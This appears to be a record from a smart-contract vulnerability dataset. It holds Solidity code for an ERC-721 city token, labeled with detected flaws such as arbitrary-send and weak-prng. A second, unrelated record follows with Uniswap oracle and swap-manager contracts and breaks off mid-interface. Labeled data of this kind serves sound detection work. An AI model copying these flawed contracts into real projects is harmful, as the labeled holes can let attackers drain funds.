// ENUMERABLE FUNCTIONS
function totalSupply() public view returns (uint256){
return tokenIndexToCity.length - destroyed;
}
// End 721 Implementation
///////===165 Implementation
mapping (bytes4 => bool) internal supportedInterfaces;
function supportsInterface(bytes4 interfaceID) external override view returns (bool){
return supportedInterfaces[interfaceID];
}
///==End 165
//Admin
function setOwner(address newOwner) public{
require(msg.sender == owner,"owner");
owner = newOwner;
}
function setUriComponents(string calldata _newBase, string calldata _newSuffix) public{
require(msg.sender == owner,"owner");
__uriBase = bytes(_newBase);
__uriSuffix = bytes(_newSuffix);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd.
interface IERC721 /* is ERC165 */ {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface IERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface IERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) unchecked-send with Medium impact
3) arbitrary-send with High impact
4) incorrect-equality with Medium impact
5) weak-prng with High impact |
pragma solidity >=0.4.0;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity >=0.5.0;
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/lib/contracts/libraries/FixedPoint.sol';
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.3;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/FixedPoint.sol";
import "@uniswap/v2-periphery/contracts/libraries/UniswapV2OracleLibrary.sol";
import "./interfaces/IOracleSimple.sol";
// fixed window oracle that recomputes the average price for the entire period once every period
// note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period
contract OracleSimple is IOracleSimple {
using FixedPoint for *;
/* solhint-disable var-name-mixedcase */
uint256 public immutable PERIOD;
IUniswapV2Pair public immutable PAIR;
/* solhint-enable */
address public immutable token0;
address public immutable token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
bool public isStale;
constructor(address _pair, uint256 _period) {
PERIOD = _period;
IUniswapV2Pair pair = IUniswapV2Pair(_pair);
PAIR = pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "OracleSimple: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external override returns (bool) {
(
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
) = UniswapV2OracleLibrary.currentCumulativePrices(address(PAIR));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// ensure that at least one full period has passed since the last update
if (timeElapsed < PERIOD) return false;
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
price0Average = FixedPoint.uq112x112(
uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)
);
price1Average = FixedPoint.uq112x112(
uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)
);
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
return true;
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address token, uint256 amountIn)
external
view
override
returns (uint256 amountOut)
{
if (token == token0) {
amountOut = price0Average.mul(amountIn).decode144();
} else {
require(token == token1, "OracleSimple: INVALID_TOKEN");
amountOut = price1Average.mul(amountIn).decode144();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./OracleSimple.sol";
import "./interfaces/ISwapManager.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
abstract contract SwapManagerBase is ISwapManager {
// Routing
uint256 public constant override N_DEX = 2;
/* solhint-disable */
string[N_DEX] public dexes = ["UNISWAP", "SUSHISWAP"];
address[N_DEX] public override ROUTERS;
address[N_DEX] public factories;
// For Oracles
address[] private _oracles;
mapping(address => bool) private _isOurs;
// Pair -> period -> oracle
mapping(address => mapping(uint256 => address)) private _oraclesByPair;
/* solhint-enable */
constructor(
string[2] memory _dexes,
address[2] memory _routers,
address[2] memory _factories
) {
dexes = _dexes;
ROUTERS = _routers;
factories = _factories;
}
function bestPathFixedInput(
address _from,
address _to,
uint256 _amountIn,
uint256 _i
) public view virtual override returns (address[] memory path, uint256 amountOut);
function bestPathFixedOutput(
address _from,
address _to,
uint256 _amountOut,
uint256 _i
) public view virtual override returns (address[] memory path, uint256 amountIn);
function bestOutputFixedInput(
address _from,
address _to,
uint256 _amountIn
)
external
view
override
returns (
address[] memory path,
uint256 amountOut,
uint256 rIdx
)
{
// Iterate through each DEX and evaluate the best output
for (uint256 i = 0; i < N_DEX; i++) {
(address[] memory tPath, uint256 tAmountOut) = bestPathFixedInput(
_from,
_to,
_amountIn,
i
);
if (tAmountOut > amountOut) {
path = tPath;
amountOut = tAmountOut;
rIdx = i;
}
}
return (path, amountOut, rIdx);
}
function bestInputFixedOutput(
address _from,
address _to,
uint256 _amountOut
)
external
view
override
returns (
address[] memory path,
uint256 amountIn,
uint256 rIdx
)
{
// Iterate through each DEX and evaluate the best input
for (uint256 i = 0; i < N_DEX; i++) {
(address[] memory tPath, uint256 tAmountIn) = bestPathFixedOutput(
_from,
_to,
_amountOut,
i
);
if (amountIn == 0 || tAmountIn < amountIn) {
if (tAmountIn != 0) {
path = tPath;
amountIn = tAmountIn;
rIdx = i;
}
}
}
}
// Rather than let the getAmountsOut call fail due to low liquidity, we
// catch the error and return 0 in place of the reversion
// this is useful when we want to proceed with logic
function safeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) public view override returns (uint256[] memory result) {
try IUniswapV2Router02(ROUTERS[_i]).getAmountsOut(_amountIn, _path) returns (
uint256[] memory amounts
) {
result = amounts;
} catch {
result = new uint256[](_path.length);
result[0] = _amountIn;
}
}
// Just a wrapper for the uniswap call
// This can fail (revert) in two scenarios
// 1. (path.length == 2 && insufficient reserves)
// 2. (path.length > 2 and an intermediate pair has an output amount of 0)
function unsafeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view override returns (uint256[] memory result) {
result = IUniswapV2Router02(ROUTERS[_i]).getAmountsOut(_amountIn, _path);
}
// Rather than let the getAmountsIn call fail due to low liquidity, we
// catch the error and return 0 in place of the reversion
// this is useful when we want to proceed with logic (occurs when amountOut is
// greater than avaiable reserve (ds-math-sub-underflow)
function safeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) public view override returns (uint256[] memory result) {
try IUniswapV2Router02(ROUTERS[_i]).getAmountsIn(_amountOut, _path) returns (
uint256[] memory amounts
) {
result = amounts;
} catch {
result = new uint256[](_path.length);
result[_path.length - 1] = _amountOut;
}
}
// Just a wrapper for the uniswap call
// This can fail (revert) in one scenario
// 1. amountOut provided is greater than reserve for out currency
function unsafeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view override returns (uint256[] memory result) {
result = IUniswapV2Router02(ROUTERS[_i]).getAmountsIn(_amountOut, _path);
}
function comparePathsFixedInput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountIn,
uint256 _i
) public view override returns (address[] memory path, uint256 amountOut) {
path = pathA;
amountOut = safeGetAmountsOut(_amountIn, pathA, _i)[pathA.length - 1];
uint256 bAmountOut = safeGetAmountsOut(_amountIn, pathB, _i)[pathB.length - 1];
if (bAmountOut > amountOut) {
path = pathB;
amountOut = bAmountOut;
}
}
function comparePathsFixedOutput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountOut,
uint256 _i
) public view override returns (address[] memory path, uint256 amountIn) {
path = pathA;
amountIn = safeGetAmountsIn(_amountOut, pathA, _i)[0];
uint256 bAmountIn = safeGetAmountsIn(_amountOut, pathB, _i)[0];
if (bAmountIn == 0) return (path, amountIn);
if (amountIn == 0 || bAmountIn < amountIn) {
path = pathB;
amountIn = bAmountIn;
}
}
// TWAP Oracle Factory
function ours(address a) external view override returns (bool) {
return _isOurs[a];
}
function oracleCount() external view override returns (uint256) {
return _oracles.length;
}
function oracleAt(uint256 idx) external view override returns (address) {
require(idx < _oracles.length, "Index exceeds list length");
return _oracles[idx];
}
function getOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external view override returns (address) {
return _oraclesByPair[IUniswapV2Factory(factories[_i]).getPair(_tokenA, _tokenB)][_period];
}
function createOrUpdateOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external override returns (address oracleAddr) {
address pair = IUniswapV2Factory(factories[_i]).getPair(_tokenA, _tokenB);
require(pair != address(0), "Nonexistant-pair");
// If the oracle exists, try to update it
if (_oraclesByPair[pair][_period] != address(0)) {
OracleSimple(_oraclesByPair[pair][_period]).update();
oracleAddr = _oraclesByPair[pair][_period];
return oracleAddr;
}
// create new oracle contract
oracleAddr = address(new OracleSimple(pair, _period));
// remember oracle
_oracles.push(oracleAddr);
_isOurs[oracleAddr] = true;
_oraclesByPair[pair][_period] = oracleAddr;
// log creation
emit OracleCreated(msg.sender, oracleAddr, _period);
}
function consultForFree(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
) public view override returns (uint256 amountOut, uint256 lastUpdatedAt) {
OracleSimple oracle = OracleSimple(
_oraclesByPair[IUniswapV2Factory(factories[_i]).getPair(_from, _to)][_period]
);
lastUpdatedAt = oracle.blockTimestampLast();
amountOut = oracle.consult(_from, _amountIn);
}
/// get the data we want and pay the gas to update
function consult(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
)
public
override
returns (
uint256 amountOut,
uint256 lastUpdatedAt,
bool updated
)
{
OracleSimple oracle = OracleSimple(
_oraclesByPair[IUniswapV2Factory(factories[_i]).getPair(_from, _to)][_period]
);
updated = oracle.update();
lastUpdatedAt = oracle.blockTimestampLast();
amountOut = oracle.consult(_from, _amountIn);
}
function updateOracles() external override returns (uint256 updated, uint256 expected) {
expected = _oracles.length;
for (uint256 i = 0; i < expected; i++) {
if (OracleSimple(_oracles[i]).update()) updated++;
}
}
function updateOracles(address[] memory _oracleAddrs)
external
override
returns (uint256 updated, uint256 expected)
{
expected = _oracleAddrs.length;
for (uint256 i = 0; i < expected; i++) {
if (OracleSimple(_oracleAddrs[i]).update()) updated++;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./OracleSimple.sol";
import "./SwapManagerBase.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract SwapManagerEth is SwapManagerBase {
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/* solhint-enable */
/**
UNISWAP: {router: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, factory: 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f}
SUSHISWAP: {router: 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F, factory: 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac}
*/
constructor()
SwapManagerBase(
["UNISWAP", "SUSHISWAP"],
[
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F
],
[0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac]
)
{}
function bestPathFixedInput(
address _from,
address _to,
uint256 _amountIn,
uint256 _i
) public view override returns (address[] memory path, uint256 amountOut) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
if (_from == WETH || _to == WETH) {
amountOut = safeGetAmountsOut(_amountIn, path, _i)[path.length - 1];
return (path, amountOut);
}
address[] memory pathB = new address[](3);
pathB[0] = _from;
pathB[1] = WETH;
pathB[2] = _to;
// is one of these WETH
if (IUniswapV2Factory(factories[_i]).getPair(_from, _to) == address(0x0)) {
// does a direct liquidity pair not exist?
amountOut = safeGetAmountsOut(_amountIn, pathB, _i)[pathB.length - 1];
path = pathB;
} else {
// if a direct pair exists, we want to know whether pathA or path B is better
(path, amountOut) = comparePathsFixedInput(path, pathB, _amountIn, _i);
}
}
function bestPathFixedOutput(
address _from,
address _to,
uint256 _amountOut,
uint256 _i
) public view override returns (address[] memory path, uint256 amountIn) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
if (_from == WETH || _to == WETH) {
amountIn = safeGetAmountsIn(_amountOut, path, _i)[0];
return (path, amountIn);
}
address[] memory pathB = new address[](3);
pathB[0] = _from;
pathB[1] = WETH;
pathB[2] = _to;
// is one of these WETH
if (IUniswapV2Factory(factories[_i]).getPair(_from, _to) == address(0x0)) {
// does a direct liquidity pair not exist?
amountIn = safeGetAmountsIn(_amountOut, pathB, _i)[0];
path = pathB;
} else {
// if a direct pair exists, we want to know whether pathA or path B is better
(path, amountIn) = comparePathsFixedOutput(path, pathB, _amountOut, _i);
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.3;
interface IOracleSimple {
function update() external returns (bool);
function consult(address token, uint256 amountIn) external view returns (uint256 amountOut);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
/* solhint-disable func-name-mixedcase */
interface ISwapManager {
event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period);
function N_DEX() external view returns (uint256);
function ROUTERS(uint256 i) external view returns (address);
function bestOutputFixedInput(
address _from,
address _to,
uint256 _amountIn
)
external
view
returns (
address[] memory path,
uint256 amountOut,
uint256 rIdx
);
function bestPathFixedInput(
address _from,
address _to,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
function bestInputFixedOutput(
address _from,
address _to,
uint256 _amountOut
)
external
view
returns (
address[] memory path,
uint256 amountIn,
uint256 rIdx
);
function bestPathFixedOutput(
address _from,
address _to,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function safeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function safeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function comparePathsFixedInput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
